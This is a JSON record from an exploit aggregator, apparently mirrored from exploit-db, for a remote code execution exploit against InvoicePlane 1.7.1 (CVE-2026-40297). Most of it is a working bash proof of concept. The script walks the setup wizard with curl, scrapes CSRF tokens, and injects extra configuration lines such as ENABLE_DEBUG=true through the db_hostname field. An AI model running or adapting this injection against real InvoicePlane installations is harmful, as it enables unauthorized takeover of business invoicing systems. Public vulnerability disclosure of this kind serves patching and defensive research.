{"exploit":{"id":"EDB-52685","name":"InvoicePlane 1.7.1 - Remote Code Execution (RCE)","description":"InvoicePlane 1.7.1 - Remote Code Execution (RCE)","cves":["CVE-2026-40297"],"author":"Mustafa Murat Akgül","published":"2026-10-01","platform":"multiple","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52685","path":"exploits/multiple/webapps/52685.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52685.txt","vulnerabilities":[{"id":"CVE-2026-40297","state":"UNKNOWN","title":null,"titleSource":null,"description":null,"descriptionSource":null,"descriptionUrl":null,"cvss":null,"updatedAt":null,"retrievedAt":null,"stale":false,"error":"CVE details are temporarily unavailable"}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52685.png?v=2","url":"https://exploitbin.com/exploits/EDB-52685","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52685/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52685/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: InvoicePlane 1.7.1 -  RCE\n# Date: 2026-04-10\n# Exploit Author: Mustafa Murat Akgül\n# Vendor Homepage: https://invoiceplane.com/\n# Software Link: https://github.com/InvoicePlane/InvoicePlane\n# Version: 1.7.1 (Patched: 1.7.2)\n# CVE: CVE-2026-40297\n# Advisory: GHSA-ffq5-mw9f-mv6j\n# Tested on: Linux/Ubuntu (PHP 8.x)\n\nTechnical Details:\nA critical configuration injection vulnerability exists in the application’s setup module.\nThe db_hostname parameter is not properly sanitized during installation, allowing attackers\nto inject arbitrary configuration values. This can lead to environment manipulation, debug\nmode activation, and potential remote code execution depending on deployment context.\n\nProof of Concept (PoC):\n\nThe following bash script automates the installation setup flow, extracts the necessary\nCSRF tokens sequentially, and injects configuration directives through the db_hostname field:\n\n#!/bin/bash\n\n# Step 1: Initialize session and fetch language page CSRF token\ncurl -s -c /tmp/exploit.txt \"http://127.0.0.1/index.php/setup/language\" > /dev/null\n\nTOKEN1=$(curl -s -b /tmp/exploit.txt \"http://127.0.0.1/index.php/setup/language\" \\\n| grep -oP '(?<=name=\"_ip_csrf\" value=\")[^\"]*')\n\n# Step 2: Submit language step\ncurl -s -b /tmp/exploit.txt -c /tmp/exploit.txt -X POST \\\n\"http://127.0.0.1/index.php/setup/language\" \\\n--data \"_ip_csrf=${TOKEN1}&ip_lang=english&btn_continue=Continue\" > /dev/null\n\n# Step 3: Fetch prerequisites CSRF token\nTOKEN2=$(curl -s -b /tmp/exploit.txt \"http://127.0.0.1/index.php/setup/prerequisites\" \\\n| grep -oP '(?<=name=\"_ip_csrf\" value=\")[^\"]*')\n\n# Step 4: Submit prerequisites step\ncurl -s -b /tmp/exploit.txt -c /tmp/exploit.txt -X POST \\\n\"http://127.0.0.1/index.php/setup/prerequisites\" \\\n--data \"_ip_csrf=${TOKEN2}&btn_continue=Continue\" > /dev/null\n\n# Step 5: Fetch database configuration CSRF token\nTOKEN3=$(curl -s -b /tmp/exploit.txt \"http://127.0.0.1/index.php/setup/configure_database\" \\\n| grep -oP '(?<=name=\"_ip_csrf\" value=\")[^\"]*')\n\n# Step 6: Submit payload via db_hostname parameter injection\ncurl -s -b /tmp/exploit.txt -X POST \\\n\"http://127.0.0.1/index.php/setup/configure_database\" \\\n--data-urlencode \"_ip_csrf=${TOKEN3}\" \\\n--data-urlencode \"db_hostname=localhost'\nENABLE_DEBUG=true\nSUMEX_URL=http://192.168.1.1/\nDB_HOSTNAME='localhost\" \\\n--data-urlencode \"db_username=ip_user\" \\\n--data-urlencode \"db_password=Sifre123!\" \\\n--data-urlencode \"db_database=invoiceplane\" \\\n--data-urlencode \"db_port=3306\"\n\nImpact:\n- Arbitrary configuration injection\n- Environment variable manipulation\n- Debug mode activation\n- Sensitive information exposure risk\n- Potential remote code execution (depending on deployment configuration)\n- Full application compromise in worst-case scenarios","sha256":"02b1a945ea77ddeee3311c45da41e8242bdae702c9bcddeafc835dcb32e1dbe3","bytes":2751,"fetchedAt":"2026-11-25T10:17:06.205Z","encoding":"utf-8 (display only; download retains original bytes)"}